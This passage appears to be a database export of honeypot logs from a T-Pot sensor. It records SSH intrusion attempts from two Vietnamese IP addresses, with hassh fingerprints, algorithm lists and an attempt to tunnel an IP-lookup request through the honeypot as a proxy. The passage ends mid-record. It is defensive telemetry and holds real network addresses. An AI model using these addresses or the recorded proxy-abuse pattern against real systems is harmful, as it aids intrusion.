20872	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:07.261533+03	2021-09-20 14:15:02.932613+03	{"_id": "AgXiAnwBvYTbRNuEdvsE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46234, "dest_port": 22, "timestamp": "2021-09-20T11:06:07.261533", "@timestamp": "2021-09-20T11:06:07.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20873	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:07.797715+03	2021-09-20 14:15:02.934613+03	{"_id": "AwXiAnwBvYTbRNuEdvsE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59998, "timestamp": "2021-09-20T11:06:07.797715", "@timestamp": "2021-09-20T11:06:07.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20874	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:07.798384+03	2021-09-20 14:15:02.935646+03	{"_id": "BAXiAnwBvYTbRNuEdvsE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59998, "dest_port": 22, "timestamp": "2021-09-20T11:06:07.798384", "@timestamp": "2021-09-20T11:06:07.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20875	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:07.261806+03	2021-09-20 14:15:02.93664+03	{"_id": "BQXiAnwBvYTbRNuEdvsE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5bd8d49653e9", "@version": "1", "timestamp": "2021-09-20T11:06:07.261806Z", "@timestamp": "2021-09-20T11:06:07.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20876	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:07.628171+03	2021-09-20 14:15:02.938643+03	{"_id": "BgXiAnwBvYTbRNuEdvsE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1b15c2f38918", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:07.628171Z", "@timestamp": "2021-09-20T11:06:07.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20877	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:07.649977+03	2021-09-20 14:15:02.939614+03	{"_id": "BwXiAnwBvYTbRNuEdvsE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4bebe31d8da4", "@version": "1", "duration": 2.205242156982422, "timestamp": "2021-09-20T11:06:07.649977Z", "@timestamp": "2021-09-20T11:06:07.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20878	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:07.799028+03	2021-09-20 14:15:02.940613+03	{"_id": "CAXiAnwBvYTbRNuEdvsE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1b15c2f38918", "@version": "1", "timestamp": "2021-09-20T11:06:07.799028Z", "@timestamp": "2021-09-20T11:06:07.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20879	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:08.640779+03	2021-09-20 14:15:02.941649+03	{"_id": "CgXiAnwBvYTbRNuEePvP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1711642901497707, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52094, "dest_port": 22, "timestamp": "2021-09-20T11:06:08.640779Z", "@timestamp": "2021-09-20T11:06:08.640Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20880	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:08.420879+03	2021-09-20 14:15:02.943648+03	{"_id": "CwXiAnwBvYTbRNuEefvr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "ip-who.com", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to ip-who.com:80 from :0", "session": "5bd8d49653e9", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:06:08.420879Z", "@timestamp": "2021-09-20T11:06:08.420Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
20881	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:08.735542+03	2021-09-20 14:15:02.944642+03	{"_id": "FQXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /json/ HTTP/1.1\\\\r\\\\nHost: ip-who.com\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "ip-who.com", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\\\r\\\\nHost: ip-who.com\\\\r\\\\n\\\\r\\\\n'", "session": "5bd8d49653e9", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:06:08.735542Z", "@timestamp": "2021-09-20T11:06:08.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 